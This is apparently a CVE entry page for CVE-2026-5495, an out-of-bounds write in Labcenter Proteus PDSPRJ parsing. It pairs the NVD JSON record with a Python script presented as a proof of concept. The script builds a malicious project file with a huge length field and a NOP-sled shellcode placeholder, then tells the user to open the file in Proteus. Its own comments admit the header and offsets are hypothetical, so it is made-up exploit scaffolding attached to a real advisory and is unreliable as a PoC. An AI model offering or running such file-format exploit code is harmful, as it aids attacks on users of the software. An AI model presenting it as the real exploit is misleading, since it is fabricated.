CVE-2026-5495

import struct # Proof of Concept (PoC) for CVE-2026-5495 # This script generates a malformed PDSPRJ file to trigger the Out-Of-Bounds Write. # Note: The specific offset and padding values are hypothetical for demonstration. def generate_malicious_pdsprj(filename): # File header (Hypothetical structure) header = b"PDSPRJ_PROJECT_FILE" # Padding to reach the vulnerable parser section padding = b"\x00" * 0x50 # Malicious data block designed to trigger the buffer overflow # Length field set to a large value to bypass checks or cause overflow overflow_length = struct.pack('<I', 0xFFFFFFFF) # Payload (e.g., NOP sled + Shellcode placeholder) # In a real scenario, this would be specific to the target version and OS payload = b"\x90" * 100 + b"\xCC" * 4 with open(filename, 'wb') as f: f.write(header) f.write(padding) f.write(overflow_length) f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Labcenter Proteus to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_pdsprj('exploit.pdsprj')

{"cve": {"id": "CVE-2026-5495", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:18.697", "lastModified": "2026-04-27T17:48:16.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Labcenter Electronics Proteus PDSPRJ File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Labcenter Electronics Proteus. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the processing of PDSPRJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25720."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:labcenter:proteus:8.17:sp5:*:*:*:*:*:*", "matchCriteriaId": "02C6A9A8-9638-4E28-B3D4-5E16A9C36AB6"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-257/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}